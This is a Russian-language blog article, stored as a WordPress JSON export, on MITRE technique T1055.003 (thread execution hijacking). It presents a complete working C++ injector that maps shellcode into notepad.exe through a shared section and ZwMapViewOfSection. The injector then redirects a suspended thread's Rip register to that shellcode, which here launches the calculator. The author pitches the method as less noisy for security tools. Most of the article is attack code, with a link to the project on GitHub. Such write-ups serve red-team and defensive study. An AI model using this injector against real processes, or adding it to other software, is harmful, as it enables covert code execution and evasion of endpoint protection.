{"id":437560,"date":"2024-11-05T21:03:18","date_gmt":"2024-11-05T21:03:18","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=437560"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=437560","title":{"rendered":"Thread execution hijacking. \u0418\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0448\u0435\u043b\u043b-\u043a\u043e\u0434\u0430 \u0432 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435<\/span>"},"content":{"rendered":"
<\/div>\n
\n
\n
\n
\n

\u0412 \u0441\u0442\u0430\u0442\u044c\u0435 \u0440\u0430\u0437\u0431\u0435\u0440\u0435\u043c \u0442\u0435\u0445\u043d\u0438\u043a\u0443 T1055.003<\/a><\/p>\n

\u041f\u043e\u0434\u043c\u0435\u043d\u0438\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u043f\u043e\u0442\u043e\u043a\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0441\u043f\u043e\u0441\u043e\u0431 \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0448\u0435\u043b\u043b-\u043a\u043e\u0434\u0430 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043c\u0430\u043f\u043f\u0438\u043d\u0433\u0430.<\/p>\n

\u0412 \u041e\u0421 Windows \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u043f\u043e\u0442\u043e\u043a\u0430 \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f\u043c\u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u043e\u0432. \u042d\u0442\u043e \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043f\u043e\u0442\u043e\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430 rip. \u042d\u0442\u0438\u043c \u0438 \u0431\u0443\u0434\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f.<\/p>\n

\u0414\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0441\u0432\u044f\u0437\u043a\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 OpenThread, SuspendThread \u0438 GetThreadContext. <\/p>\n

GetThreadContext \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 2 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430 HANDLE \u0438 LPCONTEXT<\/p>\n

\u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 CONTEXT \u0438\u043c\u0435\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0432\u0438\u0434:<\/p>\n

\nCONTEXT<\/summary>\n
\n
typedef struct DECLSPEC_ALIGN(16) DECLSPEC_NOINITALL _CONTEXT {     DWORD64 P1Home;     DWORD64 P2Home;     DWORD64 P3Home;     DWORD64 P4Home;     DWORD64 P5Home;     DWORD64 P6Home;     DWORD ContextFlags;     DWORD MxCsr;     WORD   SegCs;     WORD   SegDs;     WORD   SegEs;     WORD   SegFs;     WORD   SegGs;     WORD   SegSs;     DWORD EFlags;     DWORD64 Dr0;     DWORD64 Dr1;     DWORD64 Dr2;     DWORD64 Dr3;     DWORD64 Dr6;     DWORD64 Dr7;     DWORD64 Rax;     DWORD64 Rcx;     DWORD64 Rdx;     DWORD64 Rbx;     DWORD64 Rsp;     DWORD64 Rbp;     DWORD64 Rsi;     DWORD64 Rdi;     DWORD64 R8;     DWORD64 R9;     DWORD64 R10;     DWORD64 R11;     DWORD64 R12;     DWORD64 R13;     DWORD64 R14;     DWORD64 R15;     DWORD64 Rip;     union {         XMM_SAVE_AREA32 FltSave;         struct {             M128A Header[2];             M128A Legacy[8];             M128A Xmm0;             M128A Xmm1;             M128A Xmm2;             M128A Xmm3;             M128A Xmm4;             M128A Xmm5;             M128A Xmm6;             M128A Xmm7;             M128A Xmm8;             M128A Xmm9;             M128A Xmm10;             M128A Xmm11;             M128A Xmm12;             M128A Xmm13;             M128A Xmm14;             M128A Xmm15;         } DUMMYSTRUCTNAME;     } DUMMYUNIONNAME;     M128A VectorRegister[26];     DWORD64 VectorControl;     DWORD64 DebugControl;     DWORD64 LastBranchToRip;     DWORD64 LastBranchFromRip;     DWORD64 LastExceptionToRip;     DWORD64 LastExceptionFromRip; } CONTEXT, *PCONTEXT;<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n
\u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442, \u043f\u0435\u0440\u0435\u0434 \u0432\u044b\u0437\u043e\u0432\u043e\u043c GetThreadContext \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0444\u043b\u0430\u0433\u0438 ContextFlags<\/p>\n
\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0444\u043b\u0430\u0433\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u044b \u0432 winnt.h:<\/p>\n
\n\u0444\u043b\u0430\u0433\u0438<\/summary>\n
\n
\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0444\u043b\u0430\u0433\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u044b \u0432 winnt.h:   #define CONTEXT_AMD64   0x00100000L  #define CONTEXT_CONTROL         (CONTEXT_AMD64 | 0x00000001L) #define CONTEXT_INTEGER         (CONTEXT_AMD64 | 0x00000002L) #define CONTEXT_SEGMENTS        (CONTEXT_AMD64 | 0x00000004L) #define CONTEXT_FLOATING_POINT  (CONTEXT_AMD64 | 0x00000008L) #define CONTEXT_DEBUG_REGISTERS (CONTEXT_AMD64 | 0x00000010L)  #define CONTEXT_FULL            (CONTEXT_CONTROL | CONTEXT_INTEGER | \\                                  CONTEXT_FLOATING_POINT)  #define CONTEXT_ALL             (CONTEXT_CONTROL | CONTEXT_INTEGER | \\                                  CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | \\                                  CONTEXT_DEBUG_REGISTERS)  #define CONTEXT_XSTATE          (CONTEXT_AMD64 | 0x00000040L) #define CONTEXT_KERNEL_CET      (CONTEXT_AMD64 | 0x00000080L)  #if defined(XBOX_SYSTEMOS)  #define CONTEXT_KERNEL_DEBUGGER     0x04000000L  #endif  #define CONTEXT_EXCEPTION_ACTIVE    0x08000000L #define CONTEXT_SERVICE_ACTIVE      0x10000000L #define CONTEXT_EXCEPTION_REQUEST   0x40000000L #define CONTEXT_EXCEPTION_REPORTING 0x80000000L  \/\/ \/\/ CONTEXT_UNWOUND_TO_CALL flag is set by the unwinder if it \/\/ has unwound to a call site, and cleared whenever it unwinds \/\/ through a trap frame. \/\/  #define CONTEXT_UNWOUND_TO_CALL     0x20000000  <\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n
\u0418 \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u0442\u0430\u043c \u0436\u0435<\/p>\n
\n\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435<\/summary>\n
\n
\/\/ The flags field within this record controls the contents of a CONTEXT \/\/ record. \/\/ \/\/ If the context record is used as an input parameter, then for each \/\/ portion of the context record controlled by a flag whose value is \/\/ set, it is assumed that that portion of the context record contains \/\/ valid context. If the context record is being used to modify a threads \/\/ context, then only that portion of the threads context is modified. \/\/ \/\/ If the context record is used as an output parameter to capture the \/\/ context of a thread, then only those portions of the thread's context \/\/ corresponding to set flags will be returned. \/\/ \/\/ CONTEXT_CONTROL specifies SegSs, Rsp, SegCs, Rip, and EFlags. \/\/ \/\/ CONTEXT_INTEGER specifies Rax, Rcx, Rdx, Rbx, Rbp, Rsi, Rdi, and R8-R15. \/\/ \/\/ CONTEXT_SEGMENTS specifies SegDs, SegEs, SegFs, and SegGs. \/\/ \/\/ CONTEXT_FLOATING_POINT specifies Xmm0-Xmm15. \/\/ \/\/ CONTEXT_DEBUG_REGISTERS specifies Dr0-Dr3 and Dr6-Dr7. \/\/ <\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n
\u0414\u043b\u044f \u043d\u0430\u0448\u0438\u0445 \u0446\u0435\u043b\u0435\u0439 \u0445\u0432\u0430\u0442\u0438\u0442 CONTEXT_CONTROL<\/p>\n
\u0412 \u043e\u0431\u0449\u0435\u043c \u0432\u0438\u0434\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:<\/p>\n
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadID); SuspendThread(hThread); CONTEXT ctx; ctx.ContextFlags = CONTEXT_CONTROL; GetThreadContext(hThread, &ctx); \/* Some context manipulation *\/ SetThreadContext(hThread, &ctx); ResumeThread(hThread);<\/code><\/pre>\n
\u0417\u0430\u043f\u043e\u043c\u043d\u0438\u043b\u0438, \u0442\u0435\u043f\u0435\u0440\u044c \u043f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043a \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0435 \u0448\u0435\u043b\u043b-\u043a\u043e\u0434\u0430 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441.<\/p>\n
\u041e\u0431\u044b\u0447\u043d\u043e \u0434\u043b\u044f \u044d\u0442\u0438\u0445 \u0446\u0435\u043b\u0435\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0441\u0432\u044f\u0437\u043a\u0430 \u0432\u0438\u0434\u0430 <\/p>\n
OpenProcess -> VirtualAlloc -> [VirtualProtect] -> WriteProcessMemory -> CreateRemoteThread<\/p>\n
\u042d\u0442\u043e \u0441\u043a\u0443\u0447\u043d\u043e \u0438 \u043d\u0435\u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u0448\u0443\u043c\u043d\u043e \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0440\u0435\u0448\u0438\u043b \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c \u0447\u0442\u043e-\u0442\u043e \u043d\u043e\u0432\u043e\u0435 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043c\u0430\u043f\u043f\u0438\u043d\u0433\u0430.<\/p>\n
\u0412 \u0438\u0442\u043e\u0433\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430\u0441\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430:<\/p>\n
CreateFileMapping -> OpenProcess -> ZwMapViewOfSection<\/p>\n
\u041f\u0440\u0438\u043c\u0435\u0440 \u043a\u043e\u0434\u0430:<\/p>\n
HANDLE hMapFile = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, bufferSize, NULL);  HANDLE hProc = OpenProcess(PROCESS_VM_OPERATION, 0, pid);  PVOID remoteBaseAddress = NULL; size_t viewSize = 0;  NTSTATUS status = ZwMapViewOfSection(hMapFile,hProc,&remoteBaseAddress,0,0,NULL,&viewSize,2,0,PAGE_EXECUTE_READ);<\/code><\/pre>\n
\u0417\u0434\u0435\u0441\u044c \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435 \u0441\u0430\u043c\u044b\u0439 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c. <\/p>\n
\u0422\u0430\u043a \u043a\u0430\u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u043c\u0430\u043f\u043f\u0438\u043d\u0433 \u0441\u043e\u0437\u0434\u0430\u043d \u0441 \u0444\u043b\u0430\u0433\u043e\u043c PAGE_EXECUTE_READWRITE, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0432 \u0442\u0435\u043a\u0443\u0449\u0435\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0432\u044b\u0437\u0432\u0430\u0442\u044c MapViewOfFile \u0441 \u0444\u043b\u0430\u0433\u043e\u043c FILE_MAP_WRITE, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u043d\u0430\u043c \u043f\u0438\u0441\u0430\u0442\u044c \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u0438\u0437 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0430 \u0432 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0440\u0430\u0437\u043c\u0430\u043f\u0438\u0442\u044c \u0442\u0443 \u0436\u0435 \u043f\u0430\u043c\u044f\u0442\u044c \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435. <\/p>\n
\u042d\u0442\u043e \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432 \u043b\u044e\u0431\u043e\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043c\u0435\u043d\u044f\u0442\u044c \u0440\u0430\u0437\u043c\u0430\u043f\u043b\u0435\u043d\u043d\u0443\u044e \u043f\u0430\u043c\u044f\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u0435\u043a\u0446\u0438\u044e \u0441 \u0431\u0435\u0437\u043e\u0431\u0438\u0434\u043d\u044b\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u044b\u043c, \u0430 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0432 \u043d\u0435\u0435 \u0448\u0435\u043b\u043b\u043a\u043e\u0434. \u041a \u0442\u043e\u043c\u0443 \u0436\u0435, \u0432 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u0441 \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u0438\u0435\u043c \u043f\u0430\u043c\u044f\u0442\u0438 \u0441 \u0444\u043b\u0430\u0433\u043e\u043c PAGE_EXECUTE_READWRITE \u0432 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435, \u044d\u0442\u043e\u0442 \u0441\u043f\u043e\u0441\u043e\u0431 \u043c\u0435\u043d\u0435\u0435 \u0448\u0443\u043c\u043d\u044b\u0439 \u0441 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b, \u0442\u0430\u043a \u043a\u0430\u043a \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 rwx \u043f\u0430\u043c\u044f\u0442\u0438 \u2013 \u0446\u0435\u043b\u043e\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0435.<\/p>\n
\u0418\u0442\u0430\u043a, \u0441\u043e\u0431\u0435\u0440\u0435\u043c \u0432\u0441\u0435 \u0432\u043e\u0435\u0434\u0438\u043d\u043e. \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0431\u0443\u0434\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c:<\/p>\n
    \n
  1. \n
    \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438 \u0441 PAGE_EXECUTE_READWRITE<\/p>\n<\/li>\n
  2. \n
    \u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f \u043d\u0430 \u043f\u0430\u043c\u044f\u0442\u044c \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c<\/p>\n<\/li>\n
  3. \n
    \u041f\u043e\u0438\u0441\u043a \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0434\u043b\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f<\/p>\n<\/li>\n
  4. \n
    \u0423\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u043c\u0430\u043f\u043f\u0438\u043d\u0433 \u043f\u0430\u043c\u044f\u0442\u0438<\/p>\n<\/li>\n
  5. \n
    \u0417\u0430\u043f\u0438\u0441\u044c \u0448\u0435\u043b\u043b-\u043a\u043e\u0434\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c<\/p>\n<\/li>\n
  6. \n
    \u041f\u043e\u0438\u0441\u043a \u043f\u043e\u0442\u043e\u043a\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430<\/p>\n<\/li>\n
  7. \n
    \u041f\u0440\u0438\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043f\u043e\u0442\u043e\u043a\u0430<\/p>\n<\/li>\n
  8. \n
    \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u043f\u043e\u0442\u043e\u043a\u0430<\/p>\n<\/li>\n
  9. \n
    \u0412\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u0442\u043e\u043a\u0430<\/p>\n<\/li>\n<\/ol>\n
    \u0414\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 \u043f\u043e\u0442\u043e\u043a\u0430 \u0431\u0443\u0434\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u044e CreateToolhelp32Snapshot:<\/p>\n
    HANDLE procSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); HANDLE threadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); WCHAR target[] = L\"notepad.exe\";  Thread32First(threadSnapshot, &threadEntry); Process32FirstW(procSnapshot, &processEntry); DWORD lerr = GetLastError(); while (Process32NextW(procSnapshot, &processEntry)) { if (_wcsicmp(processEntry.szExeFile, target) == 0) { while (Thread32Next(threadSnapshot, &threadEntry)) { if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {             \/*               Usefull code               *\/ break; } } break; } }<\/code><\/pre>\n
    \u041e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u0435\u043c, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0437\u0430\u043f\u0438\u0441\u044c \u0448\u0435\u043b\u043b-\u043a\u043e\u0434\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:<\/p>\n
    \n\u041a\u043e\u0434<\/summary>\n
    \n
    #include <windows.h> #include <iostream> #include <TlHelp32.h> typedef NTSTATUS(NTAPI* p_ZwMapViewOfSection)( HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect );  int main() { unsigned char code[] = { 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7 }; size_t bufferSize = sizeof(code); HANDLE hMapFile = CreateFileMappingA( INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, bufferSize, NULL );  if (hMapFile == NULL) { return 1; } LPVOID pBuffer = MapViewOfFile( hMapFile, FILE_MAP_WRITE, 0, 0, bufferSize );  if (pBuffer == NULL) { CloseHandle(hMapFile); return 1; }  DWORD old; THREADENTRY32 threadEntry; threadEntry.dwSize = sizeof(THREADENTRY32); PROCESSENTRY32W processEntry; processEntry.dwSize = sizeof(PROCESSENTRY32W); CONTEXT context; context.ContextFlags = CONTEXT_CONTROL; HANDLE procSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); HANDLE threadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);  WCHAR target[] = L\"notepad.exe\"; Thread32First(threadSnapshot, &threadEntry); Process32FirstW(procSnapshot, &processEntry); DWORD lerr = GetLastError(); while (Process32NextW(procSnapshot, &processEntry)) { if (_wcsicmp(processEntry.szExeFile, target) == 0) { while (Thread32Next(threadSnapshot, &threadEntry)) { if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) { HANDLE hProc = OpenProcess(PROCESS_VM_OPERATION, 0, processEntry.th32ProcessID); HANDLE hMapFileDup = 0; HMODULE hNtdll = GetModuleHandleA(\"ntdll.dll\"); p_ZwMapViewOfSection ZwMapViewOfSection = (p_ZwMapViewOfSection)GetProcAddress(hNtdll, \"ZwMapViewOfSection\"); PVOID remoteBaseAddress = NULL; size_t viewSize = 0; NTSTATUS status = ZwMapViewOfSection( hMapFile, hProc, &remoteBaseAddress, 0, 0, NULL, &viewSize, 2, 0, PAGE_EXECUTE_READ ); CloseHandle(hProc); CopyMemory(pBuffer, code, sizeof(code)); HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID); SuspendThread(hThread); CONTEXT ctx; ctx.ContextFlags = CONTEXT_CONTROL; GetThreadContext(hThread, &ctx); ctx.Rip = (DWORD64)remoteBaseAddress; SetThreadContext(hThread, &ctx); ResumeThread(hThread); break; } } break; } } lerr = GetLastError(); CloseHandle(threadSnapshot); CloseHandle(procSnapshot); UnmapViewOfFile(pBuffer); CloseHandle(hMapFile);  return 0; } <\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n
    \"\u0417\u0430\u043f\u0443\u0441\u043a<\/p>\n
    \u0417\u0430\u043f\u0443\u0441\u043a \u043a\u0430\u043b\u044c\u043a\u0443\u043b\u044f\u0442\u043e\u0440\u0430<\/figcaption><\/div>\n<\/figure>\n
    \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u043f\u0430\u043c\u044f\u0442\u044c \u0432 Process Hacker \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0437\u043e\u0432\u0430 ZwMapViewOfSection. \u0417\u0434\u0435\u0441\u044c \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u0432 \u0442\u0435\u043a\u0443\u0449\u0435\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u043f\u0430\u043c\u044f\u0442\u044c RW, \u0430 \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u043c — RX<\/p>\n
    \"\u0422\u0435\u043a\u0443\u0449\u0438\u0439<\/p>\n
    \u0422\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441<\/figcaption><\/div>\n<\/figure>\n
    \"\u0426\u0435\u043b\u0435\u0432\u043e\u0439<\/p>\n
    \u0426\u0435\u043b\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441<\/figcaption><\/div>\n<\/figure>\n
    \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043c\u044b \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u043b\u0438 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u043f\u043e\u0442\u043e\u043a\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0438 \u043f\u0430\u043c\u044f\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u043c\u0430\u043f\u043f\u0438\u043d\u0433 \u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043b\u0438 \u0448\u0435\u043b\u043b-\u043a\u043e\u0434.<\/p>\n
    \u041f\u0440\u043e\u0435\u043a\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043d\u0430 \u043c\u043e\u0435\u043c Github:<\/p>\n
    \n
    https:\/\/github.com\/FunnyWhaleDev\/RunFromSharedMemory<\/a><\/p>\n<\/blockquote>\n
    P.S.<\/p>\n
